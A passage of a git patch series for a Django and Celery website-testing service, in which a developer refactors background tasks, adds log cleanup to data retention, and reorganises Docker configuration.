-    record_api_call(request, response.data, '200')
-    return response
+    # filter by site association
+    if site is not None:
+        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
+        paginator = LimitOffsetPagination()
+        result_page = paginator.paginate_queryset(cases, request)
+        serializer_context = {'request': request,}
+        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+        response = paginator.get_paginated_response(serialized.data)
+        record_api_call(request, response.data, '200')
+        return response
+
+    else:
+        cases = Case.objects.filter(account=account).order_by('-time_created')
+        paginator = LimitOffsetPagination()
+        result_page = paginator.paginate_queryset(cases, request)
+        serializer_context = {'request': request,}
+        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+        response = paginator.get_paginated_response(serialized.data)
+        record_api_call(request, response.data, '200')
+        return response
 
 
 

From 8d6548e6bfc4ecee76dd1d401db2982175ed99f7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 12:08:07 -0600
Subject: [PATCH 0543/1099] cleaning things up

---
 app/api/v1/ops/services.py | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 065a98d1..adb057df 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2657,7 +2657,7 @@ def create_testcase(request, delay=False):
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
-    configs = request.data.get('configs')
+    configs = request.data.get('configs', settings.CONFIGS)
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2706,9 +2706,6 @@ def create_testcase(request, delay=False):
     if updates != None:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
-
-    if configs is None:
-        configs = settings.CONFIGS
         
     testcase = Testcase.objects.create(
         case = case,

From fabae80d58e1e9d8864d743ec6a7212a6badbfab Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 13:05:07 -0600
Subject: [PATCH 0544/1099] added logs to data_retention()

---
 app/api/tasks.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2a304f27..8117f4cc 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -552,11 +552,19 @@ def delete_old_resources(account_id=None, days_to_live=30):
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
         processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
+        
+        # get all old Logs
+        members = Member.objects.filter(account__id=account_id)
+        logs = []
+        for member in members:
+            logs += Logs.objects.filter(user=member.user, time_created__lte=max_proc_date)
+
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
+        logs = Logs.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -569,6 +577,8 @@ def delete_old_resources(account_id=None, days_to_live=30):
         testcase.delete()
     for process in processes:
         process.delete()
+    for log in logs:
+        log.delete()
     
     
     logger.info('Cleaned up resources')

From 61a3b32b4d2ea092f6d6ce021d9576d1b0a7688d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 20 May 2024 14:57:02 -0600
Subject: [PATCH 0545/1099] fixed steps issue

---
 app/api/v1/ops/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 9c590f4a..8551e19a 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -6,7 +6,7 @@
 from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.automations import automation
 from ...utils.caser import Caser
-import boto3, asyncio
+import boto3, asyncio, requests
 from scanerr import settings
 from ...utils.scanner import (
     _html_and_logs, _vrt, _lighthouse, 
@@ -216,7 +216,7 @@ def create_testcase_task(
     else:
         case = Case.objects.get(id=case_id)
         site = Site.objects.get(id=site_id)
-        steps = case.steps
+        steps = requests.get(case.steps['url']).json()
         for step in steps:
             if step['action']['type'] != None:
                 step['action']['time_created'] = None

From c898939550df70ed433977a8235b32160b3f5806 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 20 May 2024 20:27:27 -0600
Subject: [PATCH 0546/1099] cleaned up task management

---
 app/api/tasks.py        | 321 ++++++++++++++++++++++++++++++-------
 app/api/v1/ops/tasks.py | 347 ----------------------------------------
 2 files changed, 261 insertions(+), 407 deletions(-)
 delete mode 100644 app/api/v1/ops/tasks.py

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 8117f4cc..ba6cab00 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,27 +5,26 @@
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
-from .utils.exporter import create_and_send_report_export
+from .utils.reporter import Reporter as R
+from .utils.wordpress import Wordpress as W
+from .utils.wordpress_p import Wordpress as W_P
+from .utils.automations import automation
+from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
-from .v1.ops.tasks import (
-    create_site_task, create_scan_task, 
-    create_test_task, create_report_task, delete_report_s3,
-    delete_site_s3, create_testcase_task, migrate_site_task,
-    delete_testcase_s3,
-)
+from .utils.exporter import create_and_send_report_export
 from .utils.scanner import (
     _html_and_logs, _vrt, _lighthouse, 
     _yellowlab
 )
+from .utils.driver_p import driver_test
+from .v1.auth.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from .utils.driver_p import driver_test
-from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3, time, requests, json
 from datetime import datetime, timedelta, date
 from scanerr import settings
+import asyncio, boto3, time, requests, json
 
 
 logger = get_task_logger(__name__)
@@ -40,12 +39,17 @@ class BaseTaskWithRetry(Task):
 
 
 
+
+
+
 @shared_task
 def test_pupeteer():
     asyncio.run(driver_test())
     logger.info('Tested pupeteer instalation')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
@@ -158,8 +162,9 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def _create_scan(
+def create_scan(
         self,
         scan_id=None,
         page_id=None, 
@@ -170,18 +175,26 @@ def _create_scan(
         *args, 
         **kwargs,
     ):
-    create_scan_task(
-        scan_id, 
-        page_id,
-        type,
-        automation_id, 
-        configs,
-        tags,
-    )
+    if scan_id is not None:
+        created_scan = Scan.objects.get(id=scan_id)
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_scan = Scan.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            configs=configs,
+            tags=tags, 
+        )
+    scan = S(scan=created_scan, configs=configs).first_scan()
+    if automation_id:
+        automation(automation_id, scan.id)
+    return scan
     logger.info('Created new scan of site')
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan_bg(self, *args, **kwargs):
     # get data
@@ -199,7 +212,7 @@ def create_scan_bg(self, *args, **kwargs):
         pages = [Page.objects.get(id=page_id)]
 
     for page in pages:
-        _create_scan.delay(
+        create_scan.delay(
             page_id=page.id,
             type=type,
             configs=configs,
@@ -215,16 +228,25 @@ def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *
     _html_and_logs(scan_id, test_id, automation_id)
     logger.info('ran html & logs component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _vrt(scan_id, test_id, automation_id)
     logger.info('ran vrt component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _lighthouse(scan_id, test_id, automation_id)
     logger.info('ran lighthouse component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _yellowlab(scan_id, test_id, automation_id)
@@ -243,6 +265,8 @@ def run_test(self, test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
@@ -262,8 +286,10 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def _create_test(
+def create_test(
         self,
         test_id=None,
         page_id=None, 
@@ -357,7 +383,7 @@ def create_test_bg(self, *args, **kwargs):
             pages = [p]
 
         for page in pages:
-            _create_test.delay(
+            create_test.delay(
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -369,7 +395,7 @@ def create_test_bg(self, *args, **kwargs):
     
     if test_id is not None:
         test = Test.objects.get(id=test_id)
-        _create_test.delay(
+        create_test.delay(
             test_id=test_id,
             page_id=test.page.id,
             type=type,
@@ -382,12 +408,34 @@ def create_test_bg(self, *args, **kwargs):
 
 
 
+
 @shared_task
-def _create_report(page_id=None, automation_id=None, *args, **kwargs):
-    create_report_task(page_id, automation_id)
+def create_report(page_id=None, automation_id=None, *args, **kwargs):
+    page = Page.objects.get(id=page_id)
+    if Report.objects.filter(page=page).exists():
+        report = Report.objects.filter(site=site).order_by('-time_created')[0]
+    else:
+        info = {
+            "text_color": '#24262d',
+            "background_color": '#e1effd',
+            "highlight_color": '#ffffff',
+        }
+        report = Report.objects.create(
+            user=site.user,
+            site=page.site,
+            page=page,
+            info=info,
+            type=['lighthouse', 'yellowlab']
+        )
+    
+    report = R(report=report).make_test_report()
+    if automation_id:
+        automation(automation_id, report.id)
     logger.info('Created new report of page')
 
 
+
+
 @shared_task
 def create_report_bg(*args, **kwargs):
     # get data
@@ -402,18 +450,35 @@ def create_report_bg(*args, **kwargs):
         pages = [Page.objects.get(id=page_id)]
 
     for page in pages:
-        _create_report.delay(
+        create_report.delay(
             page_id=page.id,
             automation_id=automation_id
         )
 
 
+
+
 @shared_task
 def delete_site_s3_bg(site_id, *args, **kwargs):
-    delete_site_s3(site_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
+    except:
+        pass
     logger.info('Deleted site s3 objects')
 
 
+
+
 @shared_task
 def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
     # setup boto3 configurations
@@ -431,6 +496,9 @@ def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
         print(e)
     return
 
+
+
+
 @shared_task
 def delete_scan_s3_bg(scan_id, site_id, page_id):
     # setup boto3 configurations
@@ -447,7 +515,9 @@ def delete_scan_s3_bg(scan_id, site_id, page_id):
     except Exception as e:
         print(e)
     return
-    
+
+
+
 
 @shared_task
 def delete_test_s3_bg(test_id, site_id, page_id):
@@ -468,18 +538,52 @@ def delete_test_s3_bg(test_id, site_id, page_id):
 
 
 
+
 @shared_task
 def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
-    delete_testcase_s3(testcase_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
+    except:
+        pass
     logger.info('Deleted testcase s3 objects')
 
 
+
+
 @shared_task
 def delete_report_s3_bg(report_id, *args, **kwargs):
-    delete_report_s3(report_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # get site
+    site = Report.objects.get(id=report_id).site
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
+    except:
+        pass
     logger.info('Deleted Report pdf in s3')
 
 
+
+
 @shared_task
 def purge_logs(username=None, *args, **kwargs):
     if username:
@@ -492,16 +596,17 @@ def purge_logs(username=None, *args, **kwargs):
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
-    self, 
-    site_id=None,
-    process_id=None,
-    start_url=None,
-    max_cases=None,
-    max_layers=None,
-    configs=None
-):
+        self, 
+        site_id=None,
+        process_id=None,
+        start_url=None,
+        max_cases=None,
+        max_layers=None,
+        configs=None
+    ):
     # get objects
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
@@ -536,7 +641,61 @@ def create_testcase_bg(
         *args, 
         **kwargs,
     ):
-    create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id)
+    if testcase_id != None:
+        testcase = Testcase.objects.get(id=testcase_id)
+        configs = testcase.configs
+    
+    else:
+        case = Case.objects.get(id=case_id)
+        site = Site.objects.get(id=site_id)
+        steps = requests.get(case.steps['url']).json()
+        for step in steps:
+            if step['action']['type'] != None:
+                step['action']['time_created'] = None
+                step['action']['time_completed'] = None
+                step['action']['exception'] = None
+                step['action']['passed'] = None
+
+            if step['assertion']['type'] != None:
+                step['assertion']['time_created'] = None
+                step['assertion']['time_completed'] = None
+                step['assertion']['exception'] = None
+                step['assertion']['passed'] = None
+
+        if updates != None:
+            for update in updates:
+                steps[int(update['index'])]['action']['value'] = update['value']
+    
+        testcase = Testcase.objects.create(
+            case = case,
+            case_name = case.name,
+            site = site,
+            user = site.user,
+            account = site.account,
+            configs = configs,
+            steps = steps
+        )
+
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
+    # running testcase
+    if configs.get('driver', 'puppeteer') == 'puppeteer':
+        testresult = asyncio.run(
+            Caser(testcase=testcase).run_p()
+        )
+    if configs.get('driver', 'puppeteer') == 'selenium':
+        testresult = Caser(testcase=testcase).run_s()
+
+    if automation_id:
+        automation(automation_id, testcase.id)
     logger.info('Ran full testcase')
 
 
@@ -557,14 +716,14 @@ def delete_old_resources(account_id=None, days_to_live=30):
         members = Member.objects.filter(account__id=account_id)
         logs = []
         for member in members:
-            logs += Logs.objects.filter(user=member.user, time_created__lte=max_proc_date)
+            logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date)
 
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
-        logs = Logs.objects.filter(time_created__lte=max_proc_date)
+        logs = Log.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -586,7 +745,6 @@ def delete_old_resources(account_id=None, days_to_live=30):
 
 
 
-
 @shared_task
 def data_retention():
     accounts = Account.objects.all()
@@ -601,7 +759,6 @@ def data_retention():
 
 
 
-
 @shared_task
 def delete_admin_sites(days_to_live=1):
     max_date = datetime.now() - timedelta(days=days_to_live)
@@ -676,6 +833,7 @@ def create_report_export_bg(report_id=None, email=None, first_name=None):
 
 
 
+
 @shared_task
 def migrate_site_bg(
         login_url, 
@@ -695,35 +853,78 @@ def migrate_site_bg(
         *args, 
         **kwargs
     ):
-    migrate_site_task(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time, 
-        process_id,
-        driver,
-    )
+    if driver == 'selenium':
+        # init wordpress
+        wp = W(
+            login_url=login_url, 
+            admin_url=admin_url,
+            username=username,
+            password=password,
+            email_address=email_address,
+            destination_url=destination_url,
+            sftp_address=sftp_address,
+            dbname=dbname,
+            sftp_username=sftp_username,
+            sftp_password=sftp_password, 
+            wait_time=wait_time,
+            process_id=process_id,
+
+        )
+
+        # login
+        wp_status = wp.login()
+        # adjust lang
+        wp_status = wp.begin_lang_check()
+        # install plugin
+        wp_status = wp.install_plugin(plugin_name=plugin_name)
+        # launch migration
+        wp_status = wp.launch_migration()
+        # run migration
+        wp_status = wp.run_migration()
+        # re adjust lang
+        # wp_status = wp.end_lang_check()
+    
+    else:
+        # init wordpress for puppeteer
+        wp_status = asyncio.run(
+            W_P(
+                login_url=login_url, 
+                admin_url=admin_url,
+                username=username,
+                password=password,
+                email_address=email_address,
+                destination_url=destination_url,
+                sftp_address=sftp_address,
+                dbname=dbname,
+                sftp_username=sftp_username,
+                sftp_password=sftp_password, 
+                wait_time=wait_time,
+                process_id=process_id,
+            ).run_full(plugin_name=plugin_name)
+        )
 
     logger.info('Finished Migration')
 
 
 
+
 @shared_task
 def send_invite_link_bg(member_id):
     member = Member.objects.get(id=member_id)
     send_invite_link(member)
     logger.info('Sent invite')
 
+
+
+
 @shared_task
 def send_remove_alert_bg(member_id):
     member = Member.objects.get(id=member_id)
     send_remove_alert(member)
-    logger.info('Sent remove alert')
\ No newline at end of file
+    logger.info('Sent remove alert')
+
+
+
+
+
+
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
deleted file mode 100644
index 8551e19a..00000000
--- a/app/api/v1/ops/tasks.py
+++ /dev/null
@@ -1,347 +0,0 @@
-from ...models import *
-from ...utils.scanner import Scanner as S
-from ...utils.tester import Tester as T
-from ...utils.reporter import Reporter as R
-from ...utils.wordpress import Wordpress as W
-from ...utils.wordpress_p import Wordpress as W_P
-from ...utils.automations import automation
-from ...utils.caser import Caser
-import boto3, asyncio, requests
-from scanerr import settings
-from ...utils.scanner import (
-    _html_and_logs, _vrt, _lighthouse, 
-    _yellowlab
-)
-
-
-
-def create_site_task(site_id, scan_id, configs):
-    site = Site.objects.get(id=site_id)
-    scan = Scan.objects.get(id=scan_id)
-    S(site=site, scan=scan, configs=configs).first_scan()
-    return site
-
-
-def create_scan_task(
-        scan_id=None,
-        page_id=None, 
-        type=['full'],
-        automation_id=None, 
-        configs=None,
-        tags=None,
-    ):
-    if scan_id is not None:
-        created_scan = Scan.objects.get(id=scan_id)
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_scan = Scan.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            configs=configs,
-            tags=tags, 
-        )
-    scan = S(scan=created_scan, configs=configs).first_scan()
-    if automation_id:
-        automation(automation_id, scan.id)
-    return scan
-
-
-
-def create_test_task(
-        test_id=None, 
-        page_id=None,
-        automation_id=None, 
-        configs=None, 
-        type=['full'],
-        index=None,
-        pre_scan=None,
-        post_scan=None,
-        tags=None,
-    ):
-
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-        )
-
-    if pre_scan is not None:
-        pre_scan = Scan.objects.get(id=pre_scan)
-    if post_scan is not None:
-        post_scan = Scan.objects.get(id=post_scan)
-
-    if post_scan is None and pre_scan is not None:
-        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
-        
-    if pre_scan is None and post_scan is None:
-        new_scan = S(site=page.site, page=page, configs=configs, type=type)
-        post_scan = new_scan.second_scan()
-        pre_scan = post_scan.paired_scan
-
-    # updating parired scans
-    pre_scan.paired_scan = post_scan
-    post_scan.paried_scan = pre_scan
-    pre_scan.save()
-    post_scan.save()
-
-    # updating test object
-    created_test.type = type
-    created_test.pre_scan = pre_scan
-    created_test.post_scan = post_scan
-    created_test.save()
-    
-    
-    test = T(test=created_test).run_test(index=index)
-    if automation_id:
-        automation(automation_id, test.id)
-    return test
-
-
-
-
-def create_report_task(page_id=None, automation_id=None):
-    
-    page = Page.objects.get(id=page_id)
-
-    if Report.objects.filter(page=page).exists():
-        report = Report.objects.filter(site=site).order_by('-time_created')[0]
-    else:
-        info = {
-            "text_color": '#24262d',
-            "background_color": '#e1effd',
-            "highlight_color": '#ffffff',
-        }
-        report = Report.objects.create(
-            user=site.user,
-            site=page.site,
-            page=page,
-            info=info,
-            type=['lighthouse', 'yellowlab']
-        )
-    
-    report = R(report=report).make_test_report()
-    if automation_id:
-        automation(automation_id, report.id)
-    return report
-    
-
-
-
-
-
-def delete_site_s3(site_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # deleting s3 objects
-    try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
-    except:
-        pass
-
-    return
-    
-
-
-
-
-def delete_testcase_s3(testcase_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # deleting s3 objects
-    try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
-    except:
-        pass
-
-    return
-
-    
-
-
-def delete_report_s3(report_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # get site
-    site = Report.objects.get(id=report_id).site
-
-    # deleting s3 objects
-    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-    bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
-
-    return
-
-
-
-
-def create_testcase_task(
-        testcase_id=None, 
-        site_id=None, 
-        case_id=None, 
-        updates=None,
-        configs=None,
-        automation_id=None
-    ):
-
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
-        configs = testcase.configs
-    
-    else:
-        case = Case.objects.get(id=case_id)
-        site = Site.objects.get(id=site_id)
-        steps = requests.get(case.steps['url']).json()
-        for step in steps:
-            if step['action']['type'] != None:
-                step['action']['time_created'] = None
-                step['action']['time_completed'] = None
-                step['action']['exception'] = None
-                step['action']['passed'] = None
-
-            if step['assertion']['type'] != None:
-                step['assertion']['time_created'] = None
-                step['assertion']['time_completed'] = None
-                step['assertion']['exception'] = None
-                step['assertion']['passed'] = None
-
-        if updates != None:
-            for update in updates:
-                steps[int(update['index'])]['action']['value'] = update['value']
-    
-        testcase = Testcase.objects.create(
-            case = case,
-            case_name = case.name,
-            site = site,
-            user = site.user,
-            account = site.account,
-            configs = configs,
-            steps = steps
-        )
-
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
-
-    # running testcase
-    if configs.get('driver', 'puppeteer') == 'puppeteer':
-        testresult = asyncio.run(
-            Caser(testcase=testcase).run_p()
-        )
-    if configs.get('driver', 'puppeteer') == 'selenium':
-        testresult = Caser(testcase=testcase).run_s()
-
-    if automation_id:
-        automation(automation_id, testcase.id)
-
-    return
-
-
-
-
-def migrate_site_task(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time,
-        process_id,
-        driver, 
-        
-    ):
-
-    if driver == 'selenium':
-        # init wordpress
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process_id,
-
-        )
-
-        # login
-        wp_status = wp.login()
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-        # launch migration
-        wp_status = wp.launch_migration()
-        # run migration
-        wp_status = wp.run_migration()
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
-    
-    else:
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password,
-                email_address=email_address,
-                destination_url=destination_url,
-                sftp_address=sftp_address,
-                dbname=dbname,
-                sftp_username=sftp_username,
-                sftp_password=sftp_password, 
-                wait_time=wait_time,
-                process_id=process_id,
-            ).run_full(plugin_name=plugin_name)
-        )
-
-    return
-
-
-
-
-
-    
\ No newline at end of file

From a5c4dc3ff888e42f196802118f4bb1c92718bbf8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:09:44 -0600
Subject: [PATCH 0547/1099] adding new entrypoint.sh and cleaning things up

---
 Dockerfile                                    |  5 ++
 Dockerfile.dev                                | 84 -------------------
 Dockerfile.stage => Dockerfile.local          | 10 ++-
 Dockerfile.old                                | 74 ----------------
 app/api/utils/autocaser.py                    | 30 ++++---
 app/api/utils/driver_p.py                     |  2 +-
 app/api/utils/driver_s.py                     |  2 +-
 app/api/utils/verify.py                       |  2 +-
 commands => commands.md                       |  4 +-
 docker-compose.dev.yml                        | 72 +++++++---------
 ...er-compose.yml => docker-compose.local.yml | 48 +++++++----
 docker-compose.prod.yml                       | 59 ++++++++-----
 docker-compose.stage.yml                      | 29 ++++---
 env/.env.dev.example                          | 14 ++--
 env/.env.prod.example                         | 12 ++-
 env/.env.prod.proxy-companion                 |  2 -
 env/.env.stage.example                        | 23 ++---
 k8s/prod/app-configs-example.yaml             | 72 ++++++++++++++++
 k8s/prod/app-deployment.yaml                  | 25 +++---
 k8s/prod/celery-deployment.yaml               |  3 +-
 .../requirements/requirements-staging.txt     |  0
 .../requirements/requirements.txt             |  0
 setup/scripts/local-entrypoint.sh             | 22 +++++
 setup/scripts/remote-entrypoint.sh            | 20 +++++
 24 files changed, 304 insertions(+), 310 deletions(-)
 delete mode 100644 Dockerfile.dev
 rename Dockerfile.stage => Dockerfile.local (85%)
 delete mode 100644 Dockerfile.old
 rename commands => commands.md (86%)
 rename docker-compose.yml => docker-compose.local.yml (54%)
 delete mode 100644 env/.env.prod.proxy-companion
 create mode 100644 k8s/prod/app-configs-example.yaml
 rename requirements-staging.txt => setup/requirements/requirements-staging.txt (100%)
 rename requirements.txt => setup/requirements/requirements.txt (100%)
 create mode 100755 setup/scripts/local-entrypoint.sh
 create mode 100755 setup/scripts/remote-entrypoint.sh

diff --git a/Dockerfile b/Dockerfile
index 83d67c57..9dc3208c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,3 +61,8 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
+
+# staring up services
+COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
+ENTRYPOINT [ "/remote-entrypoint.sh" ]
+
diff --git a/Dockerfile.dev b/Dockerfile.dev
deleted file mode 100644
index e71480b4..00000000
--- a/Dockerfile.dev
+++ /dev/null
@@ -1,84 +0,0 @@
-FROM ubuntu:latest
-ENV PYTHONUNBUFFERED 1
-ENV DEBIAN_FRONTEND noninteractive
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=2000
-ENV NODE_OPTIONS "--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
-ENV DOCKERIZED yes
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
